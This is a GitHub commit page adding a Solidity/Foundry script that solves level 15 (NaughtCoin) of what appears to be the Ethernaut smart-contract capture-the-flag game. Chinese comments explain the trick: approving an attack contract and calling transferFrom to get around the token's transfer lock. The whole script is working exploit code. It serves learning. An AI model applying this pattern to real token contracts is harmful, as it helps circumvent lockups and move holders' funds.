Skip to content

Commit

Permalink
Create Lev15Sol.s.sol
Browse files Browse the repository at this point in the history
  • Loading branch information
clad000 authored Sep 22, 2024
1 parent b33a2be commit 9660ad4
Showing 1 changed file with 46 additions and 0 deletions.
46 changes: 46 additions & 0 deletions Writeup/Clad/script/Lev15Sol.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/NaughtCoin.sol";
import "../lib/forge-std/src/Script.sol";
import "../lib/forge-std/src/console.sol";

// target 讓 player(你) 的餘額歸零
// ERC-20 有兩種轉帳方式, transfer()、transferFrom()
// 1.Player 授權代幣總供給數量給攻擊合約
// 2.攻擊合約對關卡呼叫 transferFrom(), 把 Player 身上的代幣全部轉進攻擊合約, 就可以讓 Player 持有代幣歸零

contract attackCon {
NaughtCoin attackInstance;
constructor(address _attackInstance) {
attackInstance = NaughtCoin(_attackInstance);
}

function attack() external {
(bool result, ) = address(attackInstance).call(
abi.encodeWithSignature(
"transferFrom(address,address,uint256)",
msg.sender,
address(this),
1000000 * (10 ** 18)
)
);
if (result) {}
}
}
contract Lev15Sol is Script {
NaughtCoin public Lev15Instance =
NaughtCoin(0x68D6F76F3A83Cae5e6731302B824312519a345F5);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));

attackCon myattack = new attackCon(address(Lev15Instance));
IERC20(address(Lev15Instance)).approve(
address(myattack),
1000000 * (10 ** 18)
);
myattack.attack();

vm.stopBroadcast();
}
}

0 comments on commit 9660ad4

Please sign in to comment.